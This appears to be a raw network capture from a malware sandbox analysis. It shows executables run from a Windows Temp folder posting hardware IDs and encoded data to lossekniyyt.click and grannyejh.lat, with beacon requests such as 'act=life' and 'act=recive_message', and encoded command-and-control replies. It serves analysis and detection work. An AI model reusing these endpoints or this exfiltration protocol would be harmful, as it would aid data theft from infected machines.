2024-12-18 18:08:31 UTC	1369	IN	Data Raw: 4d 70 43 6f 49 48 58 46 37 77 45 52 73 64 73 61 39 47 77 31 36 70 43 74 79 45 61 42 4c 52 71 65 66 46 6e 37 51 57 51 61 66 42 75 48 55 5a 79 51 39 63 46 36 52 63 58 31 6e 2b 72 46 6d 50 41 4f 77 39 33 49 74 70 46 4d 66 6d 2f 49 43 50 38 68 42 41 34 70 54 38 5a 68 2f 4e 41 31 38 64 71 31 41 56 42 61 79 6e 53 4d 64 64 6f 41 66 66 67 33 55 56 33 71 2f 67 7a 5a 2b 31 48 30 43 6f 7a 37 73 6e 58 59 49 48 53 46 37 77 45 54 77 41 72 71 59 42 30 42 61 31 54 4e 61 4a 4a 30 75 52 72 75 37 47 6e 4c 59 51 51 61 58 4b 74 58 55 61 78 77 35 51 47 71 4e 65 47 52 4f 39 71 31 50 4a 58 4b 51 50 33 49 68 70 45 4e 58 6d 72 59 36 52 71 6c 63 55 34 76 36 78 61 51 6a 4e 42 30 45 55 36 45 35 52 44 76 36 73 54 59 38 41 37 41 6a 66 6c 32 77 53 32 71 33 74 79 5a 6d 33 48 55 79 74 79 Data Ascii: MpCoIHXF7wERsdsa9Gw16pCtyEaBLRqefFn7QWQafBuHUZyQ9cF6RcX1n+rFmPAOw93ItpFMfm/ICP8hBA4pT8Zh/NA18dq1AVBaynSMddoAffg3UV3q/gzZ+1H0Coz7snXYIHSF7wETwArqYB0Ba1TNaJJ0uRru7GnLYQQaXKtXUaxw5QGqNeGRO9q1PJXKQP3IhpENXmrY6RqlcU4v6xaQjNB0EU6E5RDv6sTY8A7Ajfl2wS2q3tyZm3HUyty
2024-12-18 18:08:31 UTC	1369	IN	Data Raw: 4a 42 6c 30 64 72 6c 64 66 57 66 36 73 57 59 38 41 37 43 7a 4b 69 47 73 55 6b 62 6d 74 31 39 61 31 47 77 7a 36 6a 4c 64 72 46 38 55 41 58 52 32 67 56 42 73 64 75 36 74 4a 33 56 43 73 43 38 4f 58 5a 78 72 55 71 75 44 4f 6b 72 51 65 53 71 48 49 2f 43 6c 54 78 52 67 51 52 75 68 38 45 78 43 58 72 46 71 50 52 2b 49 56 6b 59 4a 72 55 34 6e 6d 34 73 57 63 76 52 70 50 70 4d 2b 33 59 68 6e 44 42 31 67 54 75 6c 49 51 47 4c 71 72 54 73 6c 65 72 51 50 58 67 6d 34 53 32 61 47 6a 67 4e 61 31 44 77 7a 36 6a 4a 4a 67 45 4d 5a 41 54 31 43 78 45 52 67 62 2f 76 4d 42 7a 31 4b 6d 42 74 2b 46 59 41 48 58 72 2b 50 4e 68 4c 45 52 52 4b 54 41 73 47 6f 62 79 77 42 56 46 61 56 61 45 68 47 2b 6f 45 43 50 46 75 77 4c 79 63 55 2f 55 2b 43 72 37 63 71 59 73 51 64 4c 34 74 50 79 66 6c Data Ascii: JBl0drldfWf6sWY8A7CzKiGsUkbmt19a1Gwz6jLdrF8UAXR2gVBsdu6tJ3VCsC8OXZxrUquDOkrQeSqHI/ClTxRgQRuh8ExCXrFqPR+IVkYJrU4nm4sWcvRpPpM+3YhnDB1gTulIQGLqrTslerQPXgm4S2aGjgNa1Dwz6jJJgEMZAT1CxERgb/vMBz1KmBt+FYAHXr+PNhLERRKTAsGobywBVFaVaEhG+oECPFuwLycU/U+Cr7cqYsQdL4tPyfl
2024-12-18 18:08:31 UTC	1369	IN	Data Raw: 58 76 41 44 55 56 65 73 36 78 6d 50 48 36 38 65 77 34 4e 6b 42 64 4c 68 33 66 43 78 71 42 70 4b 74 64 32 43 57 52 54 59 44 56 59 4a 75 52 30 4b 46 4c 43 6c 52 74 6b 59 34 6b 7a 65 78 54 38 71 6b 65 36 6a 38 64 6a 79 44 77 7a 36 6a 49 6c 6b 48 63 77 48 52 67 2f 6c 64 67 55 61 75 4c 78 51 6a 78 62 73 43 70 48 64 4e 31 32 52 6f 76 4b 4f 7a 75 4a 46 46 2f 65 66 36 7a 64 42 33 55 35 4a 58 72 34 52 52 30 58 77 36 31 4f 50 41 4f 78 4c 30 70 64 31 46 64 4b 77 34 49 6d 6f 6a 44 6c 4c 70 4d 6d 37 64 31 48 73 43 30 51 5a 36 42 39 66 47 50 37 7a 65 49 38 51 37 44 4f 66 78 58 39 54 69 65 62 57 7a 5a 69 38 45 46 71 7a 67 5a 4a 67 46 63 63 48 51 46 79 47 57 67 73 51 2f 75 55 42 79 52 6a 30 58 4a 2f 46 59 77 4b 52 2f 72 4f 63 7a 65 64 45 47 2f 4b 65 6f 79 6b 4b 67 68 59 Data Ascii: XvADUVes6xmPH68ew4NkBdLh3fCxqBpKtd2CWRTYDVYJuR0KFLClRtkY4kzexT8qke6j8djyDwz6jIlkHcwHRg/ldgUauLxQjxbsCpHdN12RovKOzuJFF/ef6zdB3U5JXr4RR0Xw61OPAOxL0pd1FdKw4ImojDlLpMm7d1HsC0QZ6B9fGP7zeI8Q7DOfxX9TiebWzZi8EFqzgZJgFccHQFyGWgsQ/uUByRj0XJ/FYwKR/rOczedEG/KeoykKghY
2024-12-18 18:08:31 UTC	1369	IN	Data Raw: 43 45 70 71 36 68 50 77 56 2b 36 48 5a 48 4c 4a 78 79 52 2f 74 71 4f 33 76 49 6f 41 75 4c 55 2f 44 39 54 39 77 4e 65 45 4b 39 48 44 6c 71 5a 70 55 62 4f 54 72 77 62 33 73 70 4a 4a 66 44 6d 72 59 36 51 38 6b 38 65 37 49 79 34 64 6c 4f 61 55 41 4a 46 2f 51 4a 49 52 2b 79 30 44 39 59 59 75 6b 79 4a 31 79 6c 54 77 2b 61 37 6a 74 47 78 42 56 36 6b 7a 36 70 6b 56 50 77 2b 64 78 43 76 55 41 6b 48 73 36 64 67 7a 45 6d 6d 4d 75 2b 51 5a 42 33 66 6f 66 58 66 31 76 78 58 51 2b 4b 55 68 53 64 62 67 6a 38 65 58 72 41 52 52 31 65 4c 71 45 2f 42 58 37 6f 64 6e 4b 4a 70 46 4e 43 77 38 38 4f 61 6b 78 52 64 71 49 7a 79 4a 78 57 43 57 41 4a 51 36 46 55 4f 56 2b 62 37 45 35 51 4e 2f 31 75 42 31 33 68 64 79 4f 62 31 6a 73 37 67 57 51 79 77 6a 4f 51 6e 56 4d 45 53 51 68 69 72 Data Ascii: CEpq6hPwV+6HZHLJxyR/tqO3vIoAuLU/D9T9wNeEK9HDlqZpUbOTrwb3spJJfDmrY6Q8k8e7Iy4dlOaUAJF/QJIR+y0D9YYukyJ1ylTw+a7jtGxBV6kz6pkVPw+dxCvUAkHs6dgzEmmMu+QZB3fofXf1vxXQ+KUhSdbgj8eXrARR1eLqE/BX7odnKJpFNCw88OakxRdqIzyJxWCWAJQ6FUOV+b7E5QN/1uB13hdyOb1js7gWQywjOQnVMESQhir

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49727	172.67.131.246	443	8060	C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 18:08:33 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9W8HICDIRB8KC7ODY6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12830 Host: lossekniyyt.click
2024-12-18 18:08:33 UTC	12830	OUT	Data Raw: 2d 2d 39 57 38 48 49 43 44 49 52 42 38 4b 43 37 4f 44 59 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 33 39 37 43 46 32 43 35 45 44 43 37 41 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 39 57 38 48 49 43 44 49 52 42 38 4b 43 37 4f 44 59 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 39 57 38 48 49 43 44 49 52 42 38 4b 43 37 4f 44 59 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 39 Data Ascii: --9W8HICDIRB8KC7ODY6Content-Disposition: form-data; name="hwid"5397CF2C5EDC7A41AC8923850305D13E--9W8HICDIRB8KC7ODY6Content-Disposition: form-data; name="pid"2--9W8HICDIRB8KC7ODY6Content-Disposition: form-data; name="lid"9Z1cyc----9
2024-12-18 18:08:34 UTC	1046	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 18:08:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lkpsrncelaaap4mjm6m0c4lu9a; expires=Sun, 13-Apr-2025 11:55:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=53L0qbnkwxHLpZvHC0ggjN14K%2F%2FK4QxBr3xZooUjSqtMqlmZXqYpfJ6oydaDs4OcOYH5Ls0WkJhmnP%2F4uRqw7p6zJOa3K4ilgJkT5pYcIXwj5IeB7GYlVsvhJrFW7hJM%2BYSxog%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4119516c1142da-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1579&min_rtt=1576&rtt_var=598&sent=7&recv=17&lost=0&retrans=0&sent_bytes=2842&recv_bytes=13771&delivery_rate=1820448&cwnd=227&unsent_bytes=0&cid=1bcc1a07842a618b&ts=1152&x=0"
2024-12-18 18:08:34 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 18:08:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49729	172.67.131.246	443	8060	C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 18:08:35 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ARHAVZ0F6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15018 Host: lossekniyyt.click
2024-12-18 18:08:35 UTC	15018	OUT	Data Raw: 2d 2d 41 52 48 41 56 5a 30 46 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 33 39 37 43 46 32 43 35 45 44 43 37 41 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 41 52 48 41 56 5a 30 46 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 41 52 48 41 56 5a 30 46 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 41 52 48 41 56 5a 30 46 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 Data Ascii: --ARHAVZ0F6Content-Disposition: form-data; name="hwid"5397CF2C5EDC7A41AC8923850305D13E--ARHAVZ0F6Content-Disposition: form-data; name="pid"2--ARHAVZ0F6Content-Disposition: form-data; name="lid"9Z1cyc----ARHAVZ0F6Content-Dispositi
2024-12-18 18:08:36 UTC	1048	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 18:08:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ko4q14hic9scv585o19qbkogvg; expires=Sun, 13-Apr-2025 11:55:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BcHV6qp8ZmdLZOeo1gKx1mepy6Z5TtYeVfi8%2FZxoRvwQi405ni%2F9hu%2FIbVYlHSqg04BuMWeNcXfSTR14IEe5%2FOofCrcWMsPuRQsJGjrBBGvsf0azucWF7i%2Fxh5MVxpeVVEOqLg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f411960cb5a1921-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2112&min_rtt=1835&rtt_var=1242&sent=14&recv=19&lost=0&retrans=0&sent_bytes=2842&recv_bytes=15950&delivery_rate=720809&cwnd=139&unsent_bytes=0&cid=f95b87febc725af1&ts=844&x=0"
2024-12-18 18:08:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 18:08:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49731	172.67.179.109	443	7240	C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 18:08:37 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: grannyejh.lat
2024-12-18 18:08:37 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 18:08:38 UTC	1036	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 18:08:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mhvkq9jol3hjhs0vb5qlbbn2l9; expires=Sun, 13-Apr-2025 11:55:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pq0dwrlY1uHq4%2BXGgc%2FgiNysg93WIUOvhLeGH5OGrjAOEr%2FH8FkaY%2BukMKjtyo0HkmRu4%2FFlw8E1imM8pOt9SWkYTkgr05hdxIo%2FHx5YCrOd0rQ%2B0MNj5P4K3fXj3PUn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f41196b9eafefa5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1882&min_rtt=1882&rtt_var=706&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=904&delivery_rate=1551540&cwnd=194&unsent_bytes=0&cid=ecb5c8b61dd69b73&ts=758&x=0"
2024-12-18 18:08:38 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 18:08:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49732	172.67.131.246	443	8060	C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 18:08:38 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=5B3XJREINNV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20520 Host: lossekniyyt.click
2024-12-18 18:08:38 UTC	15331	OUT	Data Raw: 2d 2d 35 42 33 58 4a 52 45 49 4e 4e 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 33 39 37 43 46 32 43 35 45 44 43 37 41 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 35 42 33 58 4a 52 45 49 4e 4e 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 35 42 33 58 4a 52 45 49 4e 4e 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 35 42 33 58 4a 52 45 49 4e 4e 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --5B3XJREINNVContent-Disposition: form-data; name="hwid"5397CF2C5EDC7A41AC8923850305D13E--5B3XJREINNVContent-Disposition: form-data; name="pid"3--5B3XJREINNVContent-Disposition: form-data; name="lid"9Z1cyc----5B3XJREINNVContent-D
2024-12-18 18:08:38 UTC	5189	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: un 4F([:7s~X`nO`i
2024-12-18 18:08:39 UTC	1041	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 18:08:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d7vpko3mfssj6774q6595k5sc8; expires=Sun, 13-Apr-2025 11:55:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iMeCBRztfTuZwFyP8wqXNVxlmO8bt86ZtxtdjhQr1o9VbjaGmWfIaZsbUA3PynfO89eThrXSi5E6WnPDjif4smao%2FfyEMiVNG7uHdEjshstljnwpk4lUAZvLMpN8qVF7cIrw2Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4119702abd42cc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1670&min_rtt=1586&rtt_var=655&sent=15&recv=24&lost=0&retrans=0&sent_bytes=2843&recv_bytes=21476&delivery_rate=1841109&cwnd=169&unsent_bytes=0&cid=11bae77c21f9cf4c&ts=1343&x=0"
2024-12-18 18:08:39 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 18:08:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49733	172.67.179.109	443	7240	C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 18:08:39 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: grannyejh.lat
2024-12-18 18:08:39 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=yau6Na--6989783370&j=
2024-12-18 18:08:41 UTC	1033	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 18:08:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pcf61bbgh0umt01smdqlte12a0; expires=Sun, 13-Apr-2025 11:55:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dM4O5LjW%2FxhI0dY%2FmugsRbg9mUlsjHEuplpR%2FuSXLLPjhpTVFnnQArgzLwzzkD6d2BbpeBTK33EfXn46f2voU29%2BjQj54%2FzbZyfyzaB5M49jfQ1rhOs3h4quxUX5wPOF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4119794f20186d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1727&min_rtt=1725&rtt_var=648&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=949&delivery_rate=1692753&cwnd=250&unsent_bytes=0&cid=ba8ece5520391052&ts=2398&x=0"
2024-12-18 18:08:41 UTC	336	IN	Data Raw: 34 39 31 63 0d 0a 59 65 61 59 30 48 32 31 54 54 39 68 54 74 6e 43 2b 45 51 50 48 41 64 38 71 4c 52 57 4e 77 68 34 6d 6b 2b 63 67 58 5a 6a 37 4e 67 61 78 4f 37 79 52 34 46 68 48 52 49 72 2b 2f 69 4d 4e 6e 70 35 4b 31 37 4a 30 48 51 4e 62 68 6e 32 50 50 6d 74 56 42 57 42 2b 6c 75 41 2b 62 77 4f 30 47 45 64 42 44 62 37 2b 4b 4d 2f 4c 58 6c 70 58 70 4b 57 4d 31 31 71 47 66 59 74 2f 65 6f 5a 45 34 43 37 43 59 72 2f 75 42 6a 57 4b 56 34 4e 49 37 79 6e 6e 53 56 6c 63 6d 34 52 77 4e 6c 30 47 79 6f 64 34 47 32 6d 6f 7a 73 47 6d 4c 6b 73 68 2b 75 37 58 38 68 68 52 45 4d 72 74 2b 44 43 5a 6d 35 35 5a 52 44 4f 30 44 31 66 59 42 44 2b 4c 50 6a 72 42 67 71 4b 73 41 6d 45 2f 4c 6b 53 33 7a 31 54 42 79 53 33 6f 5a 63 6c 4c 54 41 6c 47 64 4b 57 62 42 55 35 4b 50 73 38 37 Data Ascii: 491cYeaY0H21TT9hTtnC+EQPHAd8qLRWNwh4mk+cgXZj7NgaxO7yR4FhHRIr+/iMNnp5K17J0HQNbhn2PPmtVBWB+luA+bwO0GEdBDb7+KM/LXlpXpKWM11qGfYt/eoZE4C7CYr/uBjWKV4NI7ynnSVlcm4RwNl0Gyod4G2mozsGmLksh+u7X8hhREMrt+DCZm55ZRDO0D1fYBD+LPjrBgqKsAmE/LkS3z1TByS3oZclLTAlGdKWbBU5KPs87
2024-12-18 18:08:41 UTC	1369	IN	Data Raw: 75 34 4d 72 44 36 56 41 61 43 2b 6c 76 45 2f 4c 77 65 32 69 39 50 43 79 65 77 70 59 67 74 5a 48 4e 6f 48 73 66 63 4f 31 5a 71 48 66 49 6e 38 65 6b 51 44 49 4f 38 41 34 53 36 2f 46 2f 51 4e 78 31 62 62 4a 69 6c 69 69 46 68 61 43 63 6b 69 73 6c 36 54 43 6f 64 39 47 32 6d 6f 78 77 45 6a 62 6b 49 69 2f 6d 36 46 4d 55 76 54 77 55 68 76 72 4b 63 49 32 4e 30 5a 67 7a 41 32 44 4a 57 59 78 48 78 4b 50 6e 6e 56 45 2f 4f 76 52 76 45 6f 76 49 2b 32 69 52 52 43 54 75 37 34 49 56 6f 64 44 35 69 45 6f 71 4f 64 46 46 72 48 76 6b 70 38 4f 30 51 44 59 69 30 44 6f 76 38 75 42 2f 51 4a 56 55 4c 4c 62 61 72 6c 53 5a 6f 63 32 45 59 78 74 63 78 46 53 52 61 2f 7a 57 2b 75 31 51 76 69 62 6b 52 78 73 2b 78 45 64 6b 6f 53 30 4d 7a 39 62 6e 61 49 57 45 2b 50 56 37 45 30 7a 74 48 61 Data Ascii: u4MrD6VAaC+lvE/Lwe2i9PCyewpYgtZHNoHsfcO1ZqHfIn8ekQDIO8A4S6/F/QNx1bbJiliiFhaCckisl6TCod9G2moxwEjbkIi/m6FMUvTwUhvrKcI2N0ZgzA2DJWYxHxKPnnVE/OvRvEovI+2iRRCTu74IVodD5iEoqOdFFrHvkp8O0QDYi0Dov8uB/QJVULLbarlSZoc2EYxtcxFSRa/zW+u1QvibkRxs+xEdkoS0Mz9bnaIWE+PV7E0ztHa
2024-12-18 18:08:41 UTC	1369	IN	Data Raw: 6d 6f 30 78 42 76 36 30 49 78 73 2b 78 45 64 6b 6f 53 30 4d 7a 39 62 6e 61 49 57 45 2b 50 56 37 48 33 6a 46 51 5a 52 76 79 49 2f 76 70 47 41 6d 41 75 52 47 4c 2f 72 49 54 33 79 56 51 44 53 69 7a 71 5a 45 74 61 33 35 6b 46 49 71 59 64 46 4a 79 57 71 42 74 79 75 51 59 44 49 48 34 4e 6f 66 30 76 42 6a 42 62 30 4a 4e 4e 66 75 6e 6c 6d 59 31 50 6d 6b 58 79 74 30 2b 55 57 6f 64 39 53 6a 39 35 42 63 4d 69 62 41 4e 67 2f 36 2b 46 74 6f 70 58 51 51 6f 76 72 4b 66 4c 32 46 79 4a 56 43 4b 30 53 77 56 4d 6c 72 58 4b 75 6a 67 4f 77 4b 66 73 30 4f 62 74 4b 74 66 30 43 4d 64 57 32 79 38 70 5a 49 74 61 33 5a 6c 44 4d 2f 59 50 31 52 67 48 50 6b 67 38 75 55 55 41 49 36 38 44 34 54 39 74 51 33 46 4b 6c 73 52 4a 76 76 75 32 69 46 31 50 6a 31 65 2f 4d 59 6a 52 48 78 59 7a 53 Data Ascii: mo0xBv60Ixs+xEdkoS0Mz9bnaIWE+PV7H3jFQZRvyI/vpGAmAuRGL/rIT3yVQDSizqZEta35kFIqYdFJyWqBtyuQYDIH4Nof0vBjBb0JNNfunlmY1PmkXyt0+UWod9Sj95BcMibANg/6+FtopXQQovrKfL2FyJVCK0SwVMlrXKujgOwKfs0ObtKtf0CMdW2y8pZIta3ZlDM/YP1RgHPkg8uUUAI68D4T9tQ3FKlsRJvvu2iF1Pj1e/MYjRHxYzS
